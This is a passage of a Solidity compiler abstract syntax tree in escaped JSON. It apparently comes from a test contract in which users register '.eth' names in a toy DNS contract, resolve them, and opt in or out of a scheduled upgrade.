\\\"a.eth\\\"\",\"value\":\"a.eth\"},\"id\":545,\"name\":\"Literal\",\"src\":\"1707:7:2\"}],\"id\":546,\"name\":\"VariableDeclarationStatement\",\"src\":\"1688:26:2\"},{\"attributes\":{\"assignments\":[548]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"i0\",\"scope\":1142,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":547,\"name\":\"ElementaryTypeName\",\"src\":\"1718:6:2\"}],\"id\":548,\"name\":\"VariableDeclaration\",\"src\":\"1718:9:2\"},{\"attributes\":{\"hexvalue\":\"30783031303230333034\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 16909060\",\"value\":\"0x01020304\"},\"id\":549,\"name\":\"Literal\",\"src\":\"1730:10:2\"}],\"id\":550,\"name\":\"VariableDeclarationStatement\",\"src\":\"1718:22:2\"},{\"attributes\":{\"assignments\":[552]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"d1\",\"scope\":1142,\"stateVariable\":false,\"storageLocation\":\"memory\",\"type\":\"string\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"string\",\"type\":\"string\"},\"id\":551,\"name\":\"ElementaryTypeName\",\"src\":\"1744:6:2\"}],\"id\":552,\"name\":\"VariableDeclaration\",\"src\":\"1744:16:2\"},{\"attributes\":{\"hexvalue\":\"622e657468\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"string\",\"type\":\"literal_string \\\"b.eth\\\"\",\"value\":\"b.eth\"},\"id\":553,\"name\":\"Literal\",\"src\":\"1763:7:2\"}],\"id\":554,\"name\":\"VariableDeclarationStatement\",\"src\":\"1744:26:2\"},{\"attributes\":{\"assignments\":[556]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"i1\",\"scope\":1142,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":555,\"name\":\"ElementaryTypeName\",\"src\":\"1774:6:2\"}],\"id\":556,\"name\":\"VariableDeclaration\",\"src\":\"1774:9:2\"},{\"attributes\":{\"hexvalue\":\"30783035303630373038\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 84281096\",\"value\":\"0x05060708\"},\"id\":557,\"name\":\"Literal\",\"src\":\"1786:10:2\"}],\"id\":558,\"name\":\"VariableDeclarationStatement\",\"src\":\"1774:22:2\"},{\"attributes\":{\"assignments\":[560]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"ip\",\"scope\":1142,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"bytes4\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"bytes4\",\"type\":\"bytes4\"},\"id\":559,\"name\":\"ElementaryTypeName\",\"src\":\"1801:6:2\"}],\"id\":560,\"name\":\"VariableDeclaration\",\"src\":\"1801:9:2\"}],\"id\":561,\"name\":\"VariableDeclarationStatement\",\"src\":\"1801:9:2\"},{\"attributes\":{\"assignments\":[563]},\"children\":[{\"attributes\":{\"constant\":false,\"mutability\":\"mutable\",\"name\":\"owner\",\"scope\":1142,\"stateVariable\":false,\"storageLocation\":\"default\",\"type\":\"address\",\"visibility\":\"internal\"},\"children\":[{\"attributes\":{\"name\":\"address\",\"stateMutability\":\"nonpayable\",\"type\":\"address\"},\"id\":562,\"name\":\"ElementaryTypeName\",\"src\":\"1814:7:2\"}],\"id\":563,\"name\":\"VariableDeclaration\",\"src\":\"1814:13:2\"}],\"id\":564,\"name\":\"VariableDeclarationStatement\",\"src\":\"1814:13:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"register\",\"referencedDeclaration\":356,\"type\":\"function (string memory,bytes4) external\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":565,\"name\":\"Identifier\",\"src\":\"1859:5:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":566,\"name\":\"Literal\",\"src\":\"1865:1:2\"}],\"id\":567,\"name\":\"IndexAccess\",\"src\":\"1859:8:2\"}],\"id\":568,\"name\":\"MemberAccess\",\"src\":\"1859:17:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":544,\"type\":\"string memory\",\"value\":\"d0\"},\"id\":569,\"name\":\"Identifier\",\"src\":\"1877:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":548,\"type\":\"bytes4\",\"value\":\"i0\"},\"id\":570,\"name\":\"Identifier\",\"src\":\"1881:2:2\"}],\"id\":571,\"name\":\"FunctionCall\",\"src\":\"1859:25:2\"}],\"id\":572,\"name\":\"ExpressionStatement\",\"src\":\"1859:25:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"tuple()\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"tuple(bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":573,\"name\":\"Identifier\",\"src\":\"1889:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":574,\"name\":\"Identifier\",\"src\":\"1893:5:2\"}],\"id\":575,\"name\":\"TupleExpression\",\"src\":\"1888:11:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bytes4,address)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"resolve\",\"referencedDeclaration\":307,\"type\":\"function (string memory) view external returns (bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":449,\"type\":\"contract DNS\",\"value\":\"dns\"},\"id\":576,\"name\":\"Identifier\",\"src\":\"1902:3:2\"}],\"id\":577,\"name\":\"MemberAccess\",\"src\":\"1902:11:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":544,\"type\":\"string memory\",\"value\":\"d0\"},\"id\":578,\"name\":\"Identifier\",\"src\":\"1914:2:2\"}],\"id\":579,\"name\":\"FunctionCall\",\"src\":\"1902:15:2\"}],\"id\":580,\"name\":\"Assignment\",\"src\":\"1888:29:2\"}],\"id\":581,\"name\":\"ExpressionStatement\",\"src\":\"1888:29:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2507,\"type\":\"function (bytes32,bytes32)\",\"value\":\"assertEq\"},\"id\":582,\"name\":\"Identifier\",\"src\":\"1921:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":583,\"name\":\"Identifier\",\"src\":\"1930:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":548,\"type\":\"bytes4\",\"value\":\"i0\"},\"id\":584,\"name\":\"Identifier\",\"src\":\"1934:2:2\"}],\"id\":585,\"name\":\"FunctionCall\",\"src\":\"1921:16:2\"}],\"id\":586,\"name\":\"ExpressionStatement\",\"src\":\"1921:16:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2464,\"type\":\"function (address,address)\",\"value\":\"assertEq\"},\"id\":587,\"name\":\"Identifier\",\"src\":\"1941:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":588,\"name\":\"Identifier\",\"src\":\"1950:5:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_User_$443\",\"typeString\":\"contract User\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":589,\"name\":\"ElementaryTypeName\",\"src\":\"1957:7:2\"}],\"id\":590,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"1957:7:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":591,\"name\":\"Identifier\",\"src\":\"1965:5:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":592,\"name\":\"Literal\",\"src\":\"1971:1:2\"}],\"id\":593,\"name\":\"IndexAccess\",\"src\":\"1965:8:2\"}],\"id\":594,\"name\":\"FunctionCall\",\"src\":\"1957:17:2\"}],\"id\":595,\"name\":\"FunctionCall\",\"src\":\"1941:34:2\"}],\"id\":596,\"name\":\"ExpressionStatement\",\"src\":\"1941:34:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"register\",\"referencedDeclaration\":356,\"type\":\"function (string memory,bytes4) external\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":597,\"name\":\"Identifier\",\"src\":\"2007:5:2\"},{\"attributes\":{\"hexvalue\":\"31\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 1\",\"value\":\"1\"},\"id\":598,\"name\":\"Literal\",\"src\":\"2013:1:2\"}],\"id\":599,\"name\":\"IndexAccess\",\"src\":\"2007:8:2\"}],\"id\":600,\"name\":\"MemberAccess\",\"src\":\"2007:17:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":552,\"type\":\"string memory\",\"value\":\"d1\"},\"id\":601,\"name\":\"Identifier\",\"src\":\"2025:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":556,\"type\":\"bytes4\",\"value\":\"i1\"},\"id\":602,\"name\":\"Identifier\",\"src\":\"2029:2:2\"}],\"id\":603,\"name\":\"FunctionCall\",\"src\":\"2007:25:2\"}],\"id\":604,\"name\":\"ExpressionStatement\",\"src\":\"2007:25:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"=\",\"type\":\"tuple()\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isInlineArray\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":true,\"type\":\"tuple(bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":605,\"name\":\"Identifier\",\"src\":\"2037:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":606,\"name\":\"Identifier\",\"src\":\"2041:5:2\"}],\"id\":607,\"name\":\"TupleExpression\",\"src\":\"2036:11:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple(bytes4,address)\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_string_memory_ptr\",\"typeString\":\"string memory\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"resolve\",\"referencedDeclaration\":307,\"type\":\"function (string memory) view external returns (bytes4,address)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":449,\"type\":\"contract DNS\",\"value\":\"dns\"},\"id\":608,\"name\":\"Identifier\",\"src\":\"2050:3:2\"}],\"id\":609,\"name\":\"MemberAccess\",\"src\":\"2050:11:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":552,\"type\":\"string memory\",\"value\":\"d1\"},\"id\":610,\"name\":\"Identifier\",\"src\":\"2062:2:2\"}],\"id\":611,\"name\":\"FunctionCall\",\"src\":\"2050:15:2\"}],\"id\":612,\"name\":\"Assignment\",\"src\":\"2036:29:2\"}],\"id\":613,\"name\":\"ExpressionStatement\",\"src\":\"2036:29:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"},{\"typeIdentifier\":\"t_bytes4\",\"typeString\":\"bytes4\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2507,\"type\":\"function (bytes32,bytes32)\",\"value\":\"assertEq\"},\"id\":614,\"name\":\"Identifier\",\"src\":\"2069:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":560,\"type\":\"bytes4\",\"value\":\"ip\"},\"id\":615,\"name\":\"Identifier\",\"src\":\"2078:2:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":556,\"type\":\"bytes4\",\"value\":\"i1\"},\"id\":616,\"name\":\"Identifier\",\"src\":\"2082:2:2\"}],\"id\":617,\"name\":\"FunctionCall\",\"src\":\"2069:16:2\"}],\"id\":618,\"name\":\"ExpressionStatement\",\"src\":\"2069:16:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"},{\"typeIdentifier\":\"t_address\",\"typeString\":\"address\"}],\"overloadedDeclarations\":[2464,2507,2605,2635,2675],\"referencedDeclaration\":2464,\"type\":\"function (address,address)\",\"value\":\"assertEq\"},\"id\":619,\"name\":\"Identifier\",\"src\":\"2089:8:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":563,\"type\":\"address\",\"value\":\"owner\"},\"id\":620,\"name\":\"Identifier\",\"src\":\"2098:5:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"address\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_User_$443\",\"typeString\":\"contract User\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"type\":\"type(address)\"},\"children\":[{\"attributes\":{\"name\":\"address\"},\"id\":621,\"name\":\"ElementaryTypeName\",\"src\":\"2105:7:2\"}],\"id\":622,\"name\":\"ElementaryTypeNameExpression\",\"src\":\"2105:7:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":623,\"name\":\"Identifier\",\"src\":\"2113:5:2\"},{\"attributes\":{\"hexvalue\":\"31\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 1\",\"value\":\"1\"},\"id\":624,\"name\":\"Literal\",\"src\":\"2119:1:2\"}],\"id\":625,\"name\":\"IndexAccess\",\"src\":\"2113:8:2\"}],\"id\":626,\"name\":\"FunctionCall\",\"src\":\"2105:17:2\"}],\"id\":627,\"name\":\"FunctionCall\",\"src\":\"2089:34:2\"}],\"id\":628,\"name\":\"ExpressionStatement\",\"src\":\"2089:34:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},{\"typeIdentifier\":\"t_contract$_IDNS_$1462\",\"typeString\":\"contract IDNS\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"newUpgrade\",\"referencedDeclaration\":1997,\"type\":\"function (uint256,contract IDNS) external\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":457,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":629,\"name\":\"Identifier\",\"src\":\"2162:7:2\"}],\"id\":631,\"name\":\"MemberAccess\",\"src\":\"2162:18:2\"},{\"attributes\":{\"commonType\":{\"typeIdentifier\":\"t_uint256\",\"typeString\":\"uint256\"},\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"operator\":\"+\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"timestamp\",\"type\":\"uint256\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":-4,\"type\":\"block\",\"value\":\"block\"},\"id\":632,\"name\":\"Identifier\",\"src\":\"2181:5:2\"}],\"id\":633,\"name\":\"MemberAccess\",\"src\":\"2181:15:2\"},{\"attributes\":{\"hexvalue\":\"3630\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 60\",\"value\":\"60\"},\"id\":634,\"name\":\"Literal\",\"src\":\"2199:2:2\"}],\"id\":635,\"name\":\"BinaryOperation\",\"src\":\"2181:20:2\"},{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"contract IDNS\",\"type_conversion\":true},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_contract$_UpgradedDNS_$2303\",\"typeString\":\"contract UpgradedDNS\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":1462,\"type\":\"type(contract IDNS)\",\"value\":\"IDNS\"},\"id\":636,\"name\":\"Identifier\",\"src\":\"2203:4:2\"},{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":451,\"type\":\"contract UpgradedDNS\",\"value\":\"up_dns\"},\"id\":637,\"name\":\"Identifier\",\"src\":\"2208:6:2\"}],\"id\":638,\"name\":\"FunctionCall\",\"src\":\"2203:12:2\"}],\"id\":639,\"name\":\"FunctionCall\",\"src\":\"2162:54:2\"}],\"id\":640,\"name\":\"ExpressionStatement\",\"src\":\"2162:54:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_bool\",\"typeString\":\"bool\"}],\"overloadedDeclarations\":[null],\"referencedDeclaration\":2434,\"type\":\"function (bool)\",\"value\":\"assertTrue\"},\"id\":641,\"name\":\"Identifier\",\"src\":\"2220:10:2\"},{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"bool\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"upgradePlanned\",\"referencedDeclaration\":2049,\"type\":\"function () view external returns (bool)\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":457,\"type\":\"contract Upgrade\",\"value\":\"upgrade\"},\"id\":642,\"name\":\"Identifier\",\"src\":\"2231:7:2\"}],\"id\":643,\"name\":\"MemberAccess\",\"src\":\"2231:22:2\"}],\"id\":644,\"name\":\"FunctionCall\",\"src\":\"2231:24:2\"}],\"id\":645,\"name\":\"FunctionCall\",\"src\":\"2220:36:2\"}],\"id\":646,\"name\":\"ExpressionStatement\",\"src\":\"2220:36:2\"},{\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"optIn\",\"referencedDeclaration\":430,\"type\":\"function () external\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":647,\"name\":\"Identifier\",\"src\":\"2280:5:2\"},{\"attributes\":{\"hexvalue\":\"30\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 0\",\"value\":\"0\"},\"id\":648,\"name\":\"Literal\",\"src\":\"2286:1:2\"}],\"id\":649,\"name\":\"IndexAccess\",\"src\":\"2280:8:2\"}],\"id\":650,\"name\":\"MemberAccess\",\"src\":\"2280:14:2\"}],\"id\":651,\"name\":\"FunctionCall\",\"src\":\"2280:16:2\"}],\"id\":652,\"name\":\"ExpressionStatement\",\"src\":\"2280:16:2\"},{\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"optIn\",\"referencedDeclaration\":430,\"type\":\"function () external\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":653,\"name\":\"Identifier\",\"src\":\"2320:5:2\"},{\"attributes\":{\"hexvalue\":\"32\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 2\",\"value\":\"2\"},\"id\":654,\"name\":\"Literal\",\"src\":\"2326:1:2\"}],\"id\":655,\"name\":\"IndexAccess\",\"src\":\"2320:8:2\"}],\"id\":656,\"name\":\"MemberAccess\",\"src\":\"2320:14:2\"}],\"id\":657,\"name\":\"FunctionCall\",\"src\":\"2320:16:2\"}],\"id\":658,\"name\":\"ExpressionStatement\",\"src\":\"2320:16:2\"},{\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[{\"typeIdentifier\":\"t_rational_10_by_1\",\"typeString\":\"int_const 10\"}],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"warp\",\"referencedDeclaration\":1392,\"type\":\"function (uint256) external\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":447,\"type\":\"contract HEVMCheat\",\"value\":\"hevm\"},\"id\":659,\"name\":\"Identifier\",\"src\":\"2340:4:2\"}],\"id\":661,\"name\":\"MemberAccess\",\"src\":\"2340:9:2\"},{\"attributes\":{\"hexvalue\":\"3130\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 10\",\"value\":\"10\"},\"id\":662,\"name\":\"Literal\",\"src\":\"2350:2:2\"}],\"id\":663,\"name\":\"FunctionCall\",\"src\":\"2340:13:2\"}],\"id\":664,\"name\":\"ExpressionStatement\",\"src\":\"2340:13:2\"},{\"children\":[{\"attributes\":{\"arguments\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"isStructConstructorCall\":false,\"lValueRequested\":false,\"names\":[null],\"tryCall\":false,\"type\":\"tuple()\",\"type_conversion\":false},\"children\":[{\"attributes\":{\"argumentTypes\":[null],\"isConstant\":false,\"isLValue\":false,\"isPure\":false,\"lValueRequested\":false,\"member_name\":\"optOut\",\"referencedDeclaration\":442,\"type\":\"function () external\"},\"children\":[{\"attributes\":{\"isConstant\":false,\"isLValue\":true,\"isPure\":false,\"lValueRequested\":false,\"type\":\"contract User\"},\"children\":[{\"attributes\":{\"overloadedDeclarations\":[null],\"referencedDeclaration\":464,\"type\":\"contract User[4] storage ref\",\"value\":\"users\"},\"id\":665,\"name\":\"Identifier\",\"src\":\"2380:5:2\"},{\"attributes\":{\"hexvalue\":\"32\",\"isConstant\":false,\"isLValue\":false,\"isPure\":true,\"lValueRequested\":false,\"token\":\"number\",\"type\":\"int_const 